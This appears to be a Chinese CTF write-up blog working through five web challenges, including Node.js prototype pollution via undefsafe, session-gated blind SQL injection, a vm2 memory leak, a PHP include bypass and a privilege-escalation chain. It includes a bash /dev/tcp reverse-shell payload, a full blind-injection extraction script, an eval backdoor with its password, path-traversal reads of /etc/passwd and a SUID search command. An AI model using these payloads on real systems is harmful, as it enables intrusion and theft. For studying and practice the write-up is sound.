目录
BUU刷题
[网鼎杯 2020 青龙组]notes
1.打开下载的源码:
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() {
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
2.初步审计了源代码,我们主要的可控的输入点还是在edit_note
和get_note
这两个功能中。而这两个功能是在类Notes中,node.js的类实际上还是语法糖,本质还是函数。这些功能大部分用的都是这个模块undefsafe
,github上面issue查找,找到了CVE-2019-10795
,该模块的第二、第三个参数可控造成的原型链污染。
3.undefsafe
模块主要是为了处理对象属性不存在造成报错导致程序中止的问题,引入该模块当我们输入的对象属性不存在时,会直接输出undefined
,并不会让程序直接异常退出。当我们给对象的属性赋值,如果属性存在,那么将会修改该属性;如果属性不存在,它会直接将属性在上层创建,然后赋值后加入对象中。
const undefsafe = require('undefsafe');
var a = {
"b" : {
"c" :{
"d" : "test",
"e" : 33,
"f" : [1,2,3]
}
}
}
console.log(undefsafe(a, "b.c.g")) //undefined
undefsafe(a,"b.c.e",666)
console.log(a)//{b:{c:{d:'test',e:666,f:[Array]}}
undefsafe(a,"b.g.j",999)
console.log(a)//{b:{c:{d:'test',e:666,f:[Array]},j:666}
4.漏洞就产生在赋值这一块,当我们要赋值的属性为__proto__.test
,属性值是'polluted'
,然后输出该对象的属性test,可以发现会输出polluted
,代表该对象的属性test已经被污染了。
5.不过此时可以发现get_note
函数只有一个可控参数,不满足利用条件;而路由/edit_note
的三个输入的参数都可控,它直接将输入其中两个参数传进了函数中,刚好是undefsafe
函数的二、三参数。
6.那么下一步就是找要污染的对象和属性了,可以发现在/status
路由中使用了child_process模块执行了uptime
命令和free -m
命令。那么我们要是污染commands
,在里面添加一个属性,那也将命令执行。而commands
和note_list
继承的都是同一个原型object {}
。所以我们尽管污染的是node_list
的属性,但也相当于是污染commands
,然后在里面添加想执行的命令就行。
7.最后bash反弹shell,最好先url编码一下,然后在根目录找到flag,payload:
id=__proto__.script&author=bash -i >& /dev/tcp/x.x.x.x/6663 <&1
[PwnThyBytes 2019]Baby_SQL
1.F12发现源码,下载审计。首先查看index.php
代码,发现输入基本都用过滤器给过滤了,有个?p
参数,通过它可以访问到其他登陆注册界面。然后再去查看/templates/login.php
,发现了很明显的sql注入。
<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
2.$_SESSION
存在的前提是使用了session_start();
将其开启,如果直接访问该界面,将会直接die。那么这题关键点就是,如何在session_start()
不存在的前提下,绕过die()
,然后进行注入呢???
3.首先明确的是,当我们访问index.php已经生成了$_SESSION
,只不过没有使用session_start()
函数,无法从session仓库加载已经存储的session变量。然后搜到了一条配置项的说明:
session_start();
告诉服务器使用session。一般来说,php是不会主动使用session的。
不过可以设置php.ini中的session.auto_start=1来自动对每个请求使用。
而用了session_start(),或者自动开启session,
服务器会根据请求头部传来的cookie中或url中的PHPSESSID来确认此sessionid对应的$_SESSION数组。
4.当然该配置项是默认关闭的,那就只能另辟蹊径了。wp给出的办法是session.upload_progress.enabled
配置项,它是默认开启的。一般用到这个配置项,往往是有文件包含漏洞配合条件竞争上传来rce,又或者是条件竞争配合反序列化漏洞,这篇文章session.upload_progress进行文件包含和反序列化学习 。所以当session.upload_progress.enabled
配置项打开时,并且我们POST传入PHP_SESSION_UPLOAD_PROGRESS,php也会执行session_start()
。
5.所以我们用post传递PHP_SESSION_UPLOAD_PROGRESS的同时,get也传递构造好的盲注语句,判断是否有try again
正常爆破就行了。先写个demo看看是不是能绕过:
demo:
import requests
url = "url/login.php"
file = {"file" :"123456"}
r = requests.post(url = url ,data={"PHP_SESSION_UPLOAD_PROGRESS":"123456"},cookies={"PHPSESSID":"guangji"},files=file)
print(r.text)
-------------------------------------------------------------------------
Try again!
6.再试试构造的sql语句能否执行:
import requests
url = "url/login.php"
p = {"username":'1" or (ascii(substr((select database()),1,1))>1)#','password':'test'}
file = {"file" :"123456"}
r = requests.post(url = url,params=p,data={"PHP_SESSION_UPLOAD_PROGRESS":"123456"},cookies={"PHPSESSID":"guangji"},files=file)
print(r.text)
---------------------------------------------------------------------
<meta http-equiv="refresh" content="0; url=?p=home" />
7.最后设定参数,用盲注脚本跑,跑的时候会有字符错误,多跑几遍然后自己再判断一下:
import requests
url = "http://37924297-b79c-4592-a270-30b38ac9a04f.node4.buuoj.cn:81/templates/login.php"
file = {"file" :"123456"}
flag = ""
for i in range(1,50):
low = 32
high = 127
mid = (low + high) // 2
while(low < high):
p = {"username":'1" or (ascii(substr((select group_concat(secret) from flag_tbl),{},1))>{})#'.format(i,mid),'password':'test'}
r = requests.post(url = url,params=p,data={"PHP_SESSION_UPLOAD_PROGRESS":"123456"},cookies={"PHPSESSID":"guangji"},files=file)
print(r.text)
if "?p=home" in r.text:
low = mid + 1
else :
high = mid
mid = (low + high) // 2
flag += chr(mid)
print(flag)
[HITCON 2016]Leaking
1.打开是段js代码:
"use strict";
var randomstring = require("randomstring");
var express = require("express");
var {
VM
} = require("vm2");
var fs = require("fs");
var app = express();
var flag = require("./config.js").flag
app.get("/", function(req, res) {
res.header("Content-Type", "text/plain");
/* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
if (req.query.data && req.query.data.length <= 12) {
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send("eval ->" + vm.run(req.query.data));
} else {
res.send(fs.readFileSync(__filename).toString());
}
});
app.listen(3000, function() {
console.log("listening on port 3000!");
});
1.一开始以为是VM2的沙盒逃逸,但是它把flag直接放在了随机生成的变量名var flag_<random*64>
中,说明需要读取该变量。
2.打开github找issue,发现了一个Potential memory leak? 刚好和标题名字相似,该篇话题的内容大概是每次运行沙箱环境时,都会泄露一些内存。
3.低版本的node可以用Buffer()
来查看内存,只要调用过的变量,都会在内存里,这题就是用到这个特性,传递?data=Buffer(9999)
,多传几次就能在页面看到调用存储flag的变量了。
NSSCTF
[NSSRound#8 Basic]MyPage
1.目录扫描,扫了个flag.php。
2.文件包含,貌似过滤了一些东西,比如file、var等,于是使用php://filter/read=convert.base64-encode/resource=/etc/passwd
能成功读取。但是读取index.php
和flag.php
返回空白。
3.wp说是猜测require_once
一次包含,这个我是真没猜到,因为啥提示都没有,我猜测的是可能设置了文件读写权限。反正直接用/proc/self/root
突破一下一次包含就行,然后再用/proc/self/cwd/
软链接文件到当前工作目录读取flag.php
4.payload:
?file=php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/flag.php
[湖湘杯 2021 final]Penetratable
1.先注册个用户,进入后台发现有修改密码的地方,抓包查看是否有逻辑越权,但是由于需要旧密码,导致这步失败了。
2.一般这种界面很可能有二次注入,测试后发现用户名使用admin"#
,到了主页修改密码的用户名就变成了admin
。于是修改密码,然后登陆admin。
3.admin主页查看功能点也就只能看见注册的用户,由于第一个root用户的密码并不能通过这种方式修改,于是还得找其他办法登陆root。
4.注意到管理员的修改密码功能被禁止了,查看req.js文件,找到了一段js,这里有隐藏的修改密码接口。
function updatePass(){
// let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
// let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
// let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
// let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
// $.ajax({
// url: '/?c=admin&m=updatePass',
// type: 'post',
// data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
// // async:true,
// dataType: 'text',
// success: function(data){
// alertHandle(data);
// }
// });
}
5.尝试访问?c=admin&m=updatePass
,post传参name=cm9vdA==&newPass=e10adc3949ba59abbe56e057f20f883e
,成功将root用户密码重置为123456。这种方式我刚开始在普通用户的测试越权时试过是不行的,可能是由于这个账号是admin的原因导致这种方式又能成功越权执行了。
6.刚开始就在root的req.js
文件中发现了root用户具有的download功能,光看参数就觉得是任意文件读取。进入root后台测试,/?c=root&m=downloadRequestLog&filename=../../../../../../etc/passwd
成功读取文件。
7.尝试读取源代码,文件有点多,先用后台扫一波,发现phpinfo.php
,读取一下发现关键代码:
<?php
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>
8.cmd5解密得到后门密码为1q2w3e
,然后写shell失败。由于设置了密码,直接连不了,只能传参?pass_31d5df001717=1q2w3e&cc=$_POST[0]
。然后蚁剑链接,查看目录基本都只有读和执行的权限。
9.蚁剑开终端,查看具有suid权限的命令find / -user root -perm -4000 -exec ls -ldb {} \;
,除了一些正常的命令外,还找到了一个sed
命令。利用sed命令读取/flag第一行的内容:sed -n '1p' /flag
,成功读取flag